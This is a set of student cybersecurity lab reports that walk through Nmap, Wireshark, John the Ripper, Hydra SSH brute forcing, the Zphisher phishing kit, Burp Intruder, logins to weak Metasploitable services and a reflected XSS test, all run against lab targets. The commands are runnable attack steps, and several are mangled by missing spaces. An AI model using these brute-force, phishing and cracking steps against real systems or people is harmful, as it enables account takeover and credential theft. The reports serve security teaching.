Cyber Security IPE

🧪 PRACTICAL 1 REPORT

📝 Title

Nmap – Network Mapper Scanning on Localhost

🎯 Objective

To perform network reconnaissance and identify live host, open ports, running services, service versions, operating system details, default scripts results, and UDP ports using Nmap in a controlled lab environment.

🛠️ Tools Used

- Kali Linux
- Nmap
- Apache2
- MariaDB
- DVWA (Local Lab Environment)

🔹 Common Initial Steps

```
sudo service apache2 start
sudo service mysql start
ifconfig
firefox <http://127.0.0.1>
```

✔️ Web server started
✔️ Database started

✔️ IP verified
✔️ DVWA accessible

🔍 Procedure

1️⃣ Host Discovery

```
nmap -sn 127.0.0.1
```

Result:

```
Host is up.
```

Purpose: To check whether target host is active.

2️⃣ TCP SYN Scan

```
sudo nmap -sS 127.0.0.1
```

Result:

```
80/tcp   open  http
3306/tcp open  mysql
```

Purpose: To identify open TCP ports using stealth scan.

3️⃣ Service & Version Detection

```
sudo nmap -sV 127.0.0.1
```

Result:

```
80/tcp   open  http    Apache httpd 2.4.65 (Debian)
3306/tcp open  mysql   MariaDB 11.8.3
```

Purpose: To detect service versions running on open ports.

4️⃣ OS Detection

```
sudo nmap -O 127.0.0.1
```

Result:

```
OS details: Linux 5.x – 6.x
```

Purpose: To identify operating system of the target.

5️⃣ Default Script Scan

```
sudo nmap -sC 127.0.0.1
```

Result:

- HTTP Title: Apache2 Debian Default Page
- MySQL Information displayed
- SSL certificate details

Purpose: To run default NSE scripts for additional information gathering.

6️⃣ UDP Scan

```
sudo nmap -sU 127.0.0.1
```

Result:
Most UDP ports closed/filtered.

Purpose: To detect open UDP services.

⚠️ Impact

If performed on unauthorized systems, Nmap scanning can:

- Reveal open ports
- Identify vulnerable services
- Expose system information

- Help attackers plan exploitation

🛡️ Prevention & Mitigation

- Use firewall to block unnecessary ports
- Disable unused services
- Keep software updated
- Use IDS/IPS systems
- Restrict external access

🔐 Best Practices

- Perform scanning only in authorized lab environments
- Use proper permissions
- Document findings responsibly
- Follow ethical hacking guidelines

🛡️ Ethical Declaration

Practical is performed on DVWA / Metasploitable in a controlled lab environment for academic purposes only.

🧪 PRACTICAL 2 REPORT

Wireshark – Packet Analysis

📝 Title

Wireshark – Network Packet Analysis

🎯 Objective

To capture and analyze ICMP, HTTPS, and DNS network traffic using Wireshark in a controlled lab environment.

🛠️ Tools Used

- Kali Linux
- Wireshark
- Firefox Browser
- DVWA / Local Network

🔹 Common Initial Steps

```
sudo service apache2 start
sudo service mysql start
ifconfig
firefox <http://127.0.0.1>
```

🔍 Procedure

1️⃣ ICMP Packet Capture

Capture Filter:

```
icmp
```

Steps:

- Selected Loopback interface (lo)
- Started capture
- Executed:

```
ping 127.0.0.1
```

Result:

- ICMP Echo request
- ICMP Echo reply

2️⃣ HTTPS Analysis

Started capture on `eth0`.

Visited:

```
<https://google.com>
```

Display Filter:

```
tcp.port == 443
```

Result:

- TLSv1.3 packets
- Encrypted HTTPS traffic
- TCP port 443 communication

3️⃣ DNS Packet Analysis

Started capture on `eth0`.

Visited:

```
example.com
```

Display Filter:

```
dns
```

Result:

- Standard query
- DNS response from 8.8.8.8
- Domain name resolution observed

⚠️ Impact

Packet analysis can expose:

- Network structure
- DNS queries
- Encrypted traffic metadata
- Communication patterns

If misused, it may lead to:

- Data interception
- Privacy violations

🛡️ Prevention & Mitigation

- Use HTTPS encryption
- Use secure DNS (DoH / DoT)
- Avoid public WiFi
- Use VPN
- Enable firewall

🔐 Best Practices

- Capture packets only in authorized environment
- Follow ethical hacking rules
- Avoid monitoring other users without permission

🛡️ Ethical Declaration

All practicals are performed on DVWA / Metasploitable in a controlled lab environment for academic purposes only.

🧪 Practical 3 – John the Ripper (Password Cracking)

Use this directly in your practical file.

📝 Title

John the Ripper – Password Cracking Using Dictionary Attack

🎯 Objective

To identify the type of a given password hash and crack it using John the Ripper with a dictionary (wordlist) attack in a controlled lab environment.

🛠️ Tools Used

- Kali Linux
- John the Ripper
- Hashid
- Rockyou Wordlist

🔹 Common Initial Steps

```
sudo service apache2 start
sudo service mysql start
ifconfig
firefox <http://127.0.0.1>
```

(Note: These services are part of the lab setup format. Not mandatory for John cracking.)

🔍 Procedure

1️⃣ Create Hash File

Created a file named `hashes.txt`:

```
nano hashes.txt
```

Inserted the following MD5 hash:

```
5f4dcc3b5aa765d61d8327deb882cf99
```

Saved and exited.

2️⃣ Identify Hash Type

Command:

```
hashid hashes.txt
```

Result:

- Hash identified as **MD5**

3️⃣ Install / Extract Wordlist

Verified rockyou wordlist:

```
ls /usr/share/wordlists/
```

Extracted wordlist:

```
sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
```

4️⃣ Crack the Hash

Command:

```
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rocky
ou.txt hashes.txt
```

Result:

```
password
```

The hash was successfully cracked using dictionary attack.

5️⃣ Display Cracked Password

Command:

```
john --format=Raw-MD5 --show hashes.txt
```

Output:

```
?:password
1 password hash cracked, 0 left
```

This confirms the password is:

```
password
```

⚠️ Impact

Weak passwords hashed with insecure algorithms (like MD5) can be easily cracked using dictionary attacks.

If attackers gain access to password hashes, they can:

- Gain unauthorized access
- Escalate privileges
- Compromise sensitive systems

🛡️ Prevention & Mitigation

- Use strong and complex passwords
- Use salted hashing

- Avoid weak algorithms like MD5
- Use secure algorithms like:
  - bcrypt
  - Argon2
  - PBKDF2
- Enable multi-factor authentication

🔐 Best Practices

- Store passwords using secure hashing methods
- Regularly audit password policies
- Avoid common dictionary words
- Implement account lockout mechanisms

🛡️ Ethical Declaration

All practicals are performed in a controlled lab environment for academic purposes only. No unauthorized systems were targeted.

🧪 Practical 4 – Whois (Domain Lookup)

Use this directly in your practical file.

📝 Title

Whois – Domain Information Gathering Using Kali Linux

🎯 Objective

To perform domain information gathering using the Whois tool and retrieve publicly available registration details of a target domain in a controlled lab environment.

🛠️ Tools Used

- Kali Linux
- Whois Tool
- Terminal

🔹 Common Initial Steps

```
sudo systemctl start apache2
sudo systemctl start mariadb
ip a
firefox <http://127.0.0.1>
```

(Note: These services are part of lab setup format. Not mandatory for Whois lookup.)

🔍 Procedure

1️⃣ Verify Whois Installation

```
which whois
```

If not installed:

```
sudo apt install whois -y
```

2️⃣ Perform Domain Lookup

Command:

```
whois google.com
```

3️⃣ Save Output to File

```
whois google.com > whois_result.txt
```

4️⃣ View Saved File

```
cat whois_result.txt
```

5️⃣ Extract Important Fields (Optional – For Clear View)

```
whois google.com | grep -E "Registrar|Creation|Expiry|Name Server"
```

📄 Result

The Whois lookup successfully retrieved domain registration details including:

- Registrar: MarkMonitor Inc.
- Creation Date: 1997-09-15
- Expiry Date: 2028-09-14
- Name Servers: NS1.GOOGLE.COM, NS2.GOOGLE.COM, NS3.GOOGLE.COM, NS4.GOOGLE.COM
- Registrant Organization: Google LLC

The domain information was successfully collected.

⚠️ Impact

Whois reveals publicly accessible domain registration details.

If misused, attackers can use this information for:

- Reconnaissance
- Target profiling

- Social engineering
- DNS enumeration

🛡️ Prevention & Mitigation

- Enable WHOIS privacy protection
- Use domain privacy services
- Avoid exposing personal details
- Regularly review domain registration information

🔐 Best Practices

- Perform reconnaissance only on authorized systems
- Follow ethical hacking guidelines
- Document findings properly
- Avoid unauthorized data collection

🛡️ Ethical Declaration

All practicals are performed in a controlled lab environment for academic purposes only. No unauthorized systems were targeted.

🧪 Practical 5 – Dig (DNS Query)

📝 Title

Dig – DNS Information Gathering Using Kali Linux

🎯 Objective

To perform DNS enumeration using the dig tool and retrieve A, MX, and NS records of a target domain in a controlled lab environment.

🛠️ Tools Used

- Kali Linux
- dig (dnsutils package)
- Terminal

🔹 Common Initial Steps

```
sudo systemctl start apache2
sudo systemctl start mariadb
ip a
firefox http://127.0.0.1
```

(Note: These services are part of lab setup format. Not mandatory for dig.)

🔍 Procedure

1️⃣ Verify dig Installation

```
which dig
```

If not installed:

```
sudo apt install dnsutils -y
```

2️⃣ Query A Record

```
dig google.com
```

This retrieves the IP address (A record) of the domain.

3️⃣ Query MX Record

```
dig google.com MX
```

This retrieves mail exchange servers associated with the domain.

4️⃣ Query NS Record

```
dig google.com NS
```

This retrieves the authoritative name servers of the domain.

5️⃣ Display Short Output (Optional)

```
dig google.com +short
dig google.com MX +short
dig google.com NS +short
```

📄 Result

The DNS query successfully retrieved:

- A Record: IP address of google.com
- MX Record: Mail servers handling email
- NS Record: Authoritative name servers

DNS information was successfully enumerated.

⚠️ Impact

DNS enumeration reveals important infrastructure details such as:

- Server IP addresses
- Mail server configuration
- Name server details

Attackers may use this information for:

- Reconnaissance
- Target mapping
- Further vulnerability assessment

🛡️ Prevention & Mitigation

- Avoid exposing unnecessary DNS records
- Implement DNS security extensions (DNSSEC)
- Restrict zone transfers
- Monitor DNS logs regularly

🔐 Best Practices

- Perform DNS queries only on authorized targets
- Regularly audit DNS configuration
- Use secure DNS practices
- Follow ethical hacking guidelines

🛡️ Ethical Declaration

All practicals are performed in a controlled lab environment for academic purposes only. No unauthorized systems were targeted.

🧪 Practical 6 – TheHarvester (OSINT)

Use this directly in your practical file.

📝 Title

TheHarvester – Open Source Intelligence (OSINT) Gathering

🎯 Objective

To perform open-source intelligence (OSINT) gathering on a target domain using TheHarvester tool and collect publicly available information such as email addresses, subdomains, and hosts.

🛠️ Tools Used

- Kali Linux
- TheHarvester
- Terminal
- Internet Connection

🔹 Common Initial Steps

```
sudo systemctlstart apache2
sudo systemctlstart mariadb
ip a
firefox http://127.0.0.1
```

(Note: These services are part of lab setup format. Not mandatory for TheHarvester.)

🔍 Procedure

1️⃣ Verify Installation

```
which theHarvester
```

If not installed:

```
sudo apt install theharvester-y
```

2️⃣ Perform OSINT Scan

```
theHarvester-d example.com-b all
```

This command gathers information from multiple public sources.

3️⃣ Save Report (Optional)

```
theHarvester-d example.com-b all-f harvester_result
```

Generates HTML and XML reports.

📄 Result

TheHarvester successfully collected publicly available information including:

- Email addresses
- Subdomains
- Hostnames
- IP addresses

The OSINT data was gathered from multiple search engines and public sources.

⚠️ Impact

OSINT tools can reveal sensitive publicly available information.

If misused, attackers can:

- Perform targeted phishing
- Map organizational infrastructure
- Identify attack surface
- Launch social engineering attacks

🛡️ Prevention & Mitigation

- Limit publicly exposed email addresses
- Use email obfuscation
- Monitor public data leaks
- Implement security awareness training
- Use domain privacy and security controls

🔐 Best Practices

- Perform OSINT only on authorized domains
- Regularly monitor exposed assets
- Minimize public information leakage
- Follow ethical hacking principles

🛡️ Ethical Declaration

All practicals are performed in a controlled lab environment for academic purposes only. No unauthorized systems were targeted.

🧪 Practical 7 – Sublist3r (Subdomain Enumeration)

Use this directly in your practical file.

📝 Title

Sublist3r – Subdomain Enumeration Using OSINT Techniques

🎯 Objective

To enumerate subdomains of a target domain using Sublist3r and identify publicly accessible subdomains in a controlled lab environment.

🛠️ Tools Used

- Kali Linux
- Sublist3r
- Python3
- Internet Connection

🔹 Common Initial Steps

```
sudo systemctlstart apache2
sudo systemctlstart mariadb
ip a
firefox http://127.0.0.1
```

(Note: These services are part of lab setup format. Not mandatory for Sublist3r.)

🔍 Procedure

1️⃣ Verify Installation

```
which sublist3r
```

If not installed:

```
sudo apt install sublist3r-y
```

2️⃣ Perform Subdomain Enumeration

```
sublist3r-d example.com
```

This command gathers subdomains from multiple OSINT sources.

3️⃣ Save Results to File

```
sublist3r-d example.com-o subdomains.txt
```

4️⃣ View Saved Results

```
cat subdomains.txt
```

📄 Result

Sublist3r successfully enumerated publicly available subdomains of the target domain.

The output displayed:

- Total unique subdomains found
- List of discovered subdomains

The results were saved to `subdomains.txt`.

⚠️ Impact

Subdomain enumeration helps identify additional attack surfaces.

If misused, attackers can:

- Discover hidden services
- Identify staging or development servers
- Perform further vulnerability scanning
- Map organizational infrastructure

🛡️ Prevention & Mitigation

- Avoid exposing unnecessary subdomains
- Disable unused services

- Implement proper DNS management
- Use firewall and access controls
- Monitor subdomain exposure regularly

🔐 Best Practices

- Perform enumeration only on authorized domains
- Regularly audit DNS records
- Remove unused subdomains
- Follow ethical hacking guidelines

🛡️ Ethical Declaration

All practicals are performed in a controlled lab environment for academic purposes only. No unauthorized systems were targeted.

🧪 Practical 8 – DirBuster (Hidden Directory Enumeration)

Use this directly in your practical file.

📝 Title

DirBuster – Hidden Directory Enumeration Using Brute Force Technique

---

🎯 Objective

To discover hidden directories and files on a web server using DirBuster in a controlled lab environment.

🛠️ Tools Used

- Kali Linux

- DirBuster (GUI Tool)
- Apache Web Server
- Wordlist: `/usr/share/wordlists/dirbuster/`

🔹 Common Initial Steps

```
sudo systemctlstart apache2
sudo systemctlstart mariadb
ip a
firefox http://127.0.0.1
```

If using DVWA:

```
firefox http://127.0.0.1/dvwa
```

🔍 Procedure

1️⃣ Launch DirBuster

```
dirbuster
```

2️⃣ Enter Target URL

Example:

```
http://127.0.0.1/dvwa/
```

3️⃣ Select Wordlist

Navigate to:

```
Go to first -> / Then ...
```

```
/usr/share/wordlists/dirbuster/
```

Select:

```
directory-list-2.3-medium.txt
```

4️⃣ Start Directory Scan

Click **Start** and allow scanning process to complete.

5️⃣ Analyze Results

Review discovered:

- Hidden directories
- Hidden files
- HTTP response codes

📄 Result

DirBuster successfully identified hidden directories and files on the target web server.

The scan revealed:

- Accessible directories (200 status)
- Redirected directories (301/302 status)
- Restricted directories (403 status)

Hidden resources were successfully enumerated.

⚠️ Impact

Directory enumeration exposes hidden resources that may contain:

- Sensitive files
- Admin panels
- Backup files

- Configuration files

Attackers may exploit these to:

- Gain unauthorized access
- Extract sensitive information
- Perform further attacks

🛡️ Prevention & Mitigation

- Disable directory listing
- Remove unused files
- Use strong access controls
- Implement Web Application Firewall (WAF)
- Restrict access to sensitive directories

🔐 Best Practices

- Perform directory enumeration only on authorized systems
- Regularly audit web applications
- Follow secure coding practices
- Monitor web logs for suspicious activity

🛡️ Ethical Declaration

All practicals are performed in a controlled lab environment for academic purposes only. No unauthorized systems were targeted.

🧪 Practical 9 – Gobuster (Directory Brute Force)

Use this directly in your practical file.

📝 Title

Gobuster – Directory Brute Force Enumeration

🎯 Objective

To discover hidden directories and files on a target web server using Gobuster in a controlled lab environment.

🛠️ Tools Used

- Kali Linux
- Gobuster
- Wordlist: `/usr/share/wordlists/dirb/common.txt`
- Internet Connection

🔹 Common Initial Steps

```
sudo systemctlstart apache2
sudo systemctlstart mariadb
ip a
firefox http://127.0.0.1
```

(Note: These services are part of lab setup format. Not mandatory for Gobuster.)

🔍 Procedure

1️⃣ Verify Installation

```
which gobuster
```

If not installed:

```
sudo apt install gobuster-y
```

2️⃣ Verify Wordlist

```
ls /usr/share/wordlists/dirb/
```

3️⃣ Perform Directory Brute Force

```
gobuster dir-u http://testphp.vulnweb.com-w /usr/share/word
lists/dirb/common.txt
```

4️⃣ Save Results

```
gobuster dir-u http://testphp.vulnweb.com-w /usr/share/word
lists/dirb/common.txt-o gobuster_result.txt
```

📄 Result

Gobuster successfully enumerated hidden directories and files on the target web server.

The scan identified:

- Accessible directories (Status 200)
- Redirected paths (Status 301/302)
- Restricted directories (Status 403)

Hidden resources were successfully discovered.

⚠️ Impact

Directory brute forcing may expose:

- Admin panels

- Backup files
- Configuration files
- Sensitive directories

Attackers may use this information to perform further attacks or gain unauthorized access.

🛡️ Prevention & Mitigation

- Disable directory listing
- Remove unused files and directories
- Implement proper access controls
- Use Web Application Firewall (WAF)
- Monitor server logs

🔐 Best Practices

- Perform directory enumeration only on authorized systems
- Regularly audit web applications
- Use secure coding practices
- Monitor suspicious traffic

🛡️ Ethical Declaration

All practicals are performed in a controlled lab environment for academic purposes only. No unauthorized systems were targeted.

🧪 Practical 10 – Hydra (SSH Brute Force on Metasploitable)

Use this directly in your practical file.

📝 Title

Hydra – SSH Brute Force Attack on Metasploitable

🎯 Objective

To perform a brute force attack on SSH service of a Metasploitable machine using Hydra in a controlled lab environment.

🛠️ Tools Used

- Kali Linux
- Hydra
- Rockyou Wordlist
- Metasploitable VM
- Nmap

🔹 Common Initial Steps

```
ip a
ping192.168.56.101
```

Ensure both machines are in same network.

🔍 Procedure

1️⃣ Verify SSH Port

```
nmap-p22192.168.56.101
```

Confirmed SSH port is open.

2️⃣ Extract Wordlist

```
sudo gzip-d /usr/share/wordlists/rockyou.txt.gz
```

3️⃣ Perform Brute Force Attack

```
hydra-l msfadmin-P /usr/share/wordlists/rockyou.txtssh://19
2.168.56.101
```

4️⃣ Observe Results

Hydra successfully discovered valid SSH credentials.

📄 Result

Hydra successfully cracked SSH credentials:

```
Username: msfadmin
Password: msfadmin
```

Brute force attack was successful in the controlled lab environment.

⚠️ Impact

If weak credentials are used:

- Attackers can gain remote access
- System compromise possible
- Privilege escalation may occur
- Sensitive data may be exposed

🛡️ Prevention & Mitigation

- Use strong passwords

- Disable password authentication (use SSH keys)
- Implement account lockout policy
- Limit login attempts
- Change default credentials
- Use firewall rules

🔐 Best Practices

- Regularly audit login credentials
- Enforce password complexity policies
- Monitor SSH logs
- Disable root login
- Follow ethical hacking guidelines

🛡️ Ethical Declaration

This practical was performed on Metasploitable in a controlled lab environment for academic purposes only. No unauthorized systems were targeted.

📝 Title

DNSenum – DNS Enumeration and Information Gathering

🎯 Objective

To perform DNS enumeration on a target domain using DNSenum and retrieve DNS records and related information in a controlled lab environment.

🛠️ Tools Used

- Kali Linux
- DNSenum

- Internet Connection

🔹 Common Initial Steps

```
ip a
ping example.com
```

Ensure internet connectivity before running DNS enumeration.

🔍 Procedure

1️⃣ Verify Installation

```
which dnsenum
```

If not installed:

```
sudo apt install dnsenum-y
```

2️⃣ Perform DNS Enumeration

```
dnsenum example.com
```

3️⃣ Save Output

```
dnsenum example.com-o dnsenum_result.xml
```

📄 Result

DNSenum successfully retrieved:

- A record (IP address)

- NS records (Name Servers)
- MX records (Mail Servers)
- TXT records
- SOA record

The tool also attempted zone transfer (AXFR), which was unsuccessful (expected for secure domains).

DNS enumeration was successfully completed.

⚠️ Impact

DNS enumeration reveals infrastructure details such as:

- Server IP addresses
- Mail servers
- Name servers
- Potential subdomains

If misused, attackers can:

- Map target infrastructure
- Perform further reconnaissance
- Identify potential attack vectors

🛡️ Prevention & Mitigation

- Disable zone transfer for unauthorized users
- Use DNSSEC
- Limit DNS information exposure
- Monitor DNS logs
- Implement firewall rules

🔐 Best Practices

- Perform DNS enumeration only on authorized domains
- Regularly audit DNS configurations
- Use secure DNS practices
- Follow ethical hacking guidelines

🛡️ Ethical Declaration

All practicals are performed in a controlled lab environment for academic purposes only. No unauthorized systems were targeted.

🧪 Practical 12 – Shodan (Internet Device Search)

Use this directly in your practical file.

📝 Title

Shodan – Internet Device Search and OSINT Enumeration

🎯 Objective

To perform internet-wide device reconnaissance using Shodan and gather publicly exposed device information in a controlled academic environment.

🛠️ Tools Used

- Kali Linux
- Shodan CLI
- Internet Connection
- Shodan API Key

🔹 Common Initial Steps

```
ip a
ping google.com
```

Ensure internet connectivity before using Shodan.

🔍 Procedure

1️⃣ Install and Initialize Shodan

```
pip3 install shodan
shodan init YOUR_API_KEY
```

2️⃣ Search for SSH Devices

```
shodan search port:22
```

3️⃣ Search for Login Pages

```
shodan search http.title:"login"
```

4️⃣ Search for Devices in India

```
shodan search country:IN
```

5️⃣ Save Output

```
shodan search port:22--limit10 > shodan_result.txt
```

📄 Result

Shodan successfully retrieved publicly available device information including:

- IP addresses
- Open ports
- Service banners
- Location details
- Web page titles

Internet device search was successfully performed.

⚠️ Impact

Shodan reveals publicly exposed internet-connected devices.

If misused, attackers can:

- Identify vulnerable systems
- Discover exposed services
- Perform targeted attacks
- Gather reconnaissance information

🛡️ Prevention & Mitigation

- Close unnecessary open ports
- Use firewall and access controls
- Avoid exposing sensitive services to internet
- Regularly scan your own infrastructure
- Implement intrusion detection systems

🔐 Best Practices

- Perform OSINT responsibly
- Search only for academic analysis
- Do not access unauthorized systems

- Follow ethical hacking guidelines

🛡️ Ethical Declaration

All practicals are performed for academic purposes only. No unauthorized systems were accessed or exploited.

🧪 Practical 13 – Zphisher (Phishing Attack)

Use this directly in your practical file.

📝 Title

Zphisher – Phishing Attack Simulation using Social Engineering

---

🎯 Objective

To understand and demonstrate how phishing attacks are conducted using a phishing framework in a controlled lab environment and analyze how credentials can be captured through social engineering techniques.

🛠️ Tools Used

- Kali Linux
- Zphisher
- Git
- PHP
- Internet Connection
- Firefox Browser

🔹 Common Initial Steps

```
sudo systemctl start apache2
sudo systemctl start mariadb
ip a
ping google.com
```

Ensure system services are running and internet connectivity is available.

🔍 Procedure

1️⃣ Install Required Dependencies

```
sudo apt update
sudo apt install git php curl wget unzip -y
```

2️⃣ Clone Zphisher Repository

```
git clone https://github.com/htr-tech/zphisher.git
cd zphisher
```

3️⃣ Give Execution Permission

```
chmod +x zphisher.sh
```

4️⃣ Run Zphisher Tool

```
bash zphisher.sh
```

5️⃣ Select Target Template

- Choose a social media template from the menu.
- Select desired login page type.

- Choose localhost or tunneling option.

The tool generates a phishing URL.

6️⃣ Capture Credentials (Lab Simulation)

When test credentials are entered on the generated page:

```
cat usernames.txt
```

The captured credentials are displayed in terminal.

📄 Result

The phishing simulation successfully generated a fake login page and captured test credentials entered in the controlled lab environment.

The tool demonstrated how social engineering attacks trick users into revealing sensitive information.

⚠️ Impact

If misused, phishing attacks can:

- Steal user credentials
- Compromise accounts
- Lead to financial fraud
- Cause identity theft
- Result in data breaches

Phishing remains one of the most common cyber attack techniques.

🛡️ Prevention & Mitigation

- Enable Multi-Factor Authentication (MFA)
- Educate users about phishing awareness
- Verify URLs before entering credentials

- Use email filtering and anti-phishing solutions
- Implement HTTPS with valid SSL certificates
- Monitor suspicious login activities

🔐 Best Practices

- Conduct phishing simulations only in authorized labs
- Never target real users or production systems
- Report phishing attempts immediately
- Regularly conduct security awareness training
- Follow ethical hacking principles

🛡️ Ethical Declaration

All practicals are performed in a controlled lab environment for academic purposes only. No unauthorized systems or real users were targeted during this phishing simulation.

🧪 Practical 14 – Burp Suite Intruder (Sniper Attack)

Use this directly in your practical file.

📝 Title

Burp Suite Intruder – Sniper Attack on DVWA (Brute Force Simulation)

🎯 Objective

To demonstrate a brute-force attack using Burp Suite Intruder (Sniper attack type) against the DVWA Brute Force module in a controlled lab environment and analyze server responses to identify valid credentials.

🛠️ Tools Used

- Kali Linux
- Burp Suite Community Edition
- DVWA (Damn Vulnerable Web Application)
- Firefox / Burp Embedded Browser
- Apache2 & MariaDB

🔹 Common Initial Steps

Start required services:

```
sudo systemctl start apache2
sudo systemctl start mariadb
```

Check IP address:

```
ip a
```

Open DVWA in browser:

```
http://127.0.0.1/dvwa
```

Login credentials:

```
Username: admin
Password: password
```

Set:

```
DVWA Security → Low
```

🔍 Procedure

1️⃣ Launch Burp Suite

Open terminal:

```
burpsuite
```

- Select **Temporary Project**
- Click **Start Burp**

2️⃣ Configure Proxy

Go to:

```
Proxy → Intercept → Intercept ON
```

Use Burp's built-in browser (recommended), or configure Firefox manually:

```
HTTP Proxy: 127.0.0.1
Port: 8080
```

3️⃣ Open DVWA Brute Force Module

In browser:

```
DVWA → Vulnerabilities → Brute Force
```

Enter test credentials:

```
Username: test
Password: test123
```

Click Login.

Burp captures request:

Example intercepted request:

```
GET /dvwa/vulnerabilities/brute/?username=test&password=tes
t123&Login=Login HTTP/1.1
```

```
Host: 127.0.0.1
```

(Note: DVWA Brute Force uses GET method.)

4️⃣ Send Request to Intruder

- Right-click inside captured request
- Click **Send to Intruder**

Go to:

```
Intruder tab
```

5️⃣ Configure Sniper Attack

Positions Tab

- Click **Clear**
- Select only the password value
- Click **Add**

Attack Type:

```
Sniper
```

6️⃣ Configure Payloads

Go to:

```
Payloads tab
```

Payload Type:

```
Simple List
```

Add sample passwords:

```
123456
admin
password
test123
```

Click:

```
Start Attack
```

7️⃣ Analyze Results

Observe:

- Status Code
- Response Length
- Response Difference

If one response length differs significantly, it may indicate valid credentials.

📄 Result

The Sniper attack successfully sent multiple password payloads to the vulnerable login parameter.

By analyzing response length differences, valid login attempts can be identified in insecure authentication systems.

This demonstrates how weak password protection mechanisms can be exploited using automated tools.

⚠️ Impact

If a web application lacks proper authentication controls:

- Passwords can be brute-forced
- Unauthorized account access
- Data theft

- Privilege escalation
- Account takeover

Brute-force attacks are commonly used against weak login systems.

🛡️ Prevention & Mitigation

- Implement rate limiting
- Account lockout after failed attempts
- CAPTCHA implementation
- Multi-Factor Authentication (MFA)
- Strong password policies
- Web Application Firewall (WAF)
- Monitor failed login attempts

🔐 Best Practices

- Perform testing only in authorized lab environments
- Never attack production systems
- Use responsible disclosure practices
- Regularly perform security assessments
- Enforce secure coding practices

🛡️ Ethical Declaration

All practicals are performed in a controlled lab environment (DVWA) for academic purposes only. No unauthorized systems were targeted or exploited during this testing.

🧪 Practical 15 – Metasploitable Information Gathering

📝 Title

Metasploitable – Active and Passive Information Gathering

🎯 Objective

To gather comprehensive information about the Metasploitable target machine using active and passive reconnaissance techniques in a controlled lab environment.

🛠️ Tools Used

- Kali Linux
- Metasploitable
- Nmap
- Netcat
- Whois

🔹 Common Initial Steps

```
ip a
ping192.168.56.101
```

Ensure connectivity with target system.

🔍 Procedure

1️⃣ Host Discovery (Active Recon)

```
nmap-sn192.168.56.0/24
```

Identify live hosts in network.

2️⃣ Service Version Detection

```
nmap-sV192.168.56.101
```

Detect open ports and running service versions.

3️⃣ OS Detection

```
sudo nmap-O192.168.56.101
```

Identify operating system of target machine.

4️⃣ Aggressive Scan

```
sudo nmap-A192.168.56.101
```

Gather detailed information including:

- OS details
- Service versions
- Default scripts
- Traceroute

5️⃣ Full Port Scan

```
nmap-p-192.168.56.101
```

Scan all possible ports.

6️⃣ Banner Grabbing

```
nc192.168.56.10180
```

Retrieve web server banner information.

📄 Result

The reconnaissance process successfully identified:

- Target IP address
- Open ports (FTP, SSH, Telnet, HTTP, SMB, etc.)
- Service versions
- Operating System (Linux 2.6.x – Metasploitable)
- Network details

The information gathered can be used for vulnerability assessment.

⚠️ Impact

Information gathering helps attackers to:

- Identify vulnerable services
- Detect outdated software
- Map network structure
- Prepare exploitation strategy

Excessive information exposure increases attack surface.

🛡️ Prevention & Mitigation

- Disable unnecessary services
- Use firewall rules
- Close unused ports
- Keep systems updated
- Disable banner disclosure
- Implement intrusion detection systems

🔐 Best Practices

- Conduct regular security assessments

- Monitor network traffic
- Use network segmentation
- Follow principle of least privilege
- Restrict public exposure of services

🛡️ Ethical Declaration

This practical was performed on Metasploitable in an isolated lab environment for academic purposes only. No unauthorized systems were targeted.

🧪 Practical 16 – Metasploitable Exploitation (SMB/FTP/SSH/Telnet)

Use this directly in your practical file.

📝 Title

Metasploitable Exploitation – Weak Service Exploitation (SMB, FTP, SSH, Telnet)

🎯 Objective

To exploit weak and misconfigured services (SMB, FTP, SSH, Telnet) discovered during scanning of Metasploitable in a controlled lab environment.

🛠️ Tools Used

- Kali Linux
- Metasploitable
- Nmap
- FTP Client
- Telnet

- SSH
- SMBClient

🔹 Common Initial Steps

```
ip a
ping <Metasploitable_IP>
```

Ensure target machine is reachable.

🔍 Procedure

1️⃣ Perform Service Scan

```
nmap -sV <Target_IP>
```

Identify open ports and running services.

2️⃣ FTP Exploitation

```
ftp <Target_IP>
```

Login using anonymous credentials.

Verify file access using:

```
ls
```

3️⃣ Telnet Exploitation

```
telnet <Target_IP>
```

Login using default credentials.

Verify access:

```
whoami
```

4️⃣ SSH Exploitation

```
ssh msfadmin@<Target_IP>
```

Enter password:

```
msfadmin
```

Verify remote access:

```
uname -a
```

5️⃣ SMB Exploitation

```
smbclient -L //<Target_IP>/ -N
```

Access share:

```
smbclient //<Target_IP>/tmp -N
```

List contents:

```
ls
```

📄 Result

The Metasploitable machine exposed weak services that allowed unauthorized access through:

- Anonymous FTP login
- Default Telnet credentials
- Default SSH credentials

- Open SMB shares

This confirms insecure service configuration.

⚠️ Impact

Weak services may lead to:

- Unauthorized remote access
- Data leakage
- Privilege escalation
- Full system compromise
- Network pivoting

Such misconfigurations are critical security risks.

🛡️ Prevention & Mitigation

- Disable unused services
- Remove default credentials
- Disable anonymous FTP
- Restrict Telnet access
- Use SSH key-based authentication
- Implement firewall rules
- Regular patching and updates

🔐 Best Practices

- Avoid running insecure protocols (Telnet, FTP)
- Use secure alternatives (SSH, SFTP)
- Enforce strong password policies
- Perform regular vulnerability scanning
- Monitor logs for suspicious activity

🛡️ Ethical Declaration

All practicals were performed on Metasploitable in an isolated lab environment for academic purposes only. No unauthorized systems were targeted.

🧪 Practical 17 – XSS (Reflected)

📝 Title

Cross-Site Scripting (Reflected) Attack using DVWA

🎯 Objective

To demonstrate a Reflected Cross-Site Scripting (XSS) attack on DVWA by injecting malicious JavaScript code and observing its execution in a controlled lab environment.

🛠️ Tools Used

- Kali Linux
- DVWA (Damn Vulnerable Web Application)
- Apache2
- MariaDB
- Firefox Browser

🔹 Common Initial Steps

```
sudo systemctlstart apache2
sudo systemctlstart mariadb
ip a
```

Open DVWA:

```
http://127.0.0.1/dvwa
```

Login with:

```
admin / password
```

Set security level to **Low**.

🔍 Procedure

1️⃣ Set Security Level to Low

Navigate to:

```
DVWA Security → Low → Submit
```

2️⃣ Open XSS (Reflected) Module

Go to:

```
DVWA → Vulnerabilities → XSS (Reflected)
```

3️⃣ Inject Malicious Script

Enter the following payload:

```
<script>alert("XSS")</script>
```

Click **Submit**.

4️⃣ Observe Execution

A JavaScript alert popup appears.

This confirms that the input is reflected without sanitization.

📄 Result

The application executed injected JavaScript code, proving that the input field is vulnerable to Reflected Cross-Site Scripting.

The vulnerability exists because user input is not properly validated or sanitized before being displayed.

⚠️ Impact

Reflected XSS can lead to:

- Session hijacking
- Cookie theft
- Credential theft
- Phishing attacks
- Malicious script execution
- Defacement of website

Attackers can trick victims into clicking malicious links containing payload.

🛡️ Prevention & Mitigation

- Validate and sanitize user input
- Encode output before displaying
